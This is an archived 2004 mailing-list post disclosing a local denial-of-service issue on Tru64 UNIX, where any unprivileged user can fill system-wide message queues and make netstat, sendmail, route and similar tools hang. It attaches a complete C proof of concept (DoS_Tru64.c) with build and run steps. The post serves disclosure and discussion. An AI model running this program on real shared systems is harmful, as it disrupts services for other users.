From: Loic Domaigne <loic-dev@gmx.net>
Subject: DoS Attack on Tru64
Date: Sun, 03 Oct 2004 02:00:14 +0200 [thread overview]
Message-ID: <2s8tlbF1iva0bU1@uni-berlin.de> (raw)
[-- Attachment #1: Type: text/plain, Size: 1578 bytes --]
This is a re-run of what I posted a few minutes ago on the HP/Tru64 Forum.
Any comments, additional information or corrections would be greatly
appreciated.
Cheers from the vicinity of Alpha 21164-A ;-)
Loic.
------------------------------------------------------------------
Dear Tru64 friends,
So I believe, I found now the whole story about that netstat hang
problem. And as a by-product, a way of generating a kind of Denial of
Service Attack as a simple user.
As far as I can see, this issue applies up to the recent TRU64 5.1B. The
file in attachement in a small C program showing the attack. It does
nothing but writing to a message queue until the maximal number of
outstanding messages system wide is reached.
Then that's it. Every program that uses /rdsym/ -- for instance, the one
calling knlist() -- will block. Among others: nfsstat, pfstat, arp,
ogated, rarpd, route, sendmail, srconfig, strsetup, trpt, netstat and
xntpd...
They shall block, because it seems that /rdsym/ communicates with
/kloadsrv/ via a message queue. Since the queues are "system-wide" full,
then /rdsym/ blocks and so does the process calling knlist().
It is not directly a kernel BUG. But a very infortunate design issue.
IMHO. Because any "simple" /foobar/ (by "simple", I mean even without
any root rights) might easily render the whole system pretty much
useless... without a lot of efforts!
This story is an 'aggregation' of various posts that can be found on the
Web. I am a bit surprised, but it looks like that nobody did the math so
far...
Any comments?
[-- Attachment #2: DoS_Tru64.c --]
[-- Type: text/x-csrc, Size: 1181 bytes --]
/*
To compile:
cc DoS_Tru64.c -o DoS
To run:
shell$ ./DoS
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <errno.h>
#define MSGQ_KEY 0x1234
#define PERM 0660
struct mymsg {
long mtype;
char mtext[1];
};
int
main()
{
int msg_id; /* message Queue id. */
struct mymsg msg; /* message to send. */
int nmsg; /* number of msg send. */
int status; /* status returned by msgsnd(). */
/*
* Create Message Queue
*/
if ( (msg_id = msgget (MSGQ_KEY, PERM | IPC_CREAT | IPC_EXCL)) == -1 ) {
perror ("msgget: ");
exit (EXIT_FAILURE);
}
/*
* now write message one by one until Queue is full
*/
msg.mtype = 1;
msg.mtext[0] = 'A';
nmsg = 0;
do {
status = msgsnd (msg_id, &msg, sizeof(msg.mtext), IPC_NOWAIT);
nmsg++;
printf ("Sent msg #%d\r", nmsg);
}
while ( status == 0 );
if (errno != EAGAIN ) {
perror ("msgsnd: ");
exit (EXIT_FAILURE);
}
printf ("Queue full, sent %d messages\n", nmsg-1);
exit (EXIT_SUCCESS);
}
reply other threads:[~2004-10-03 0:00 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
read-only archive
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox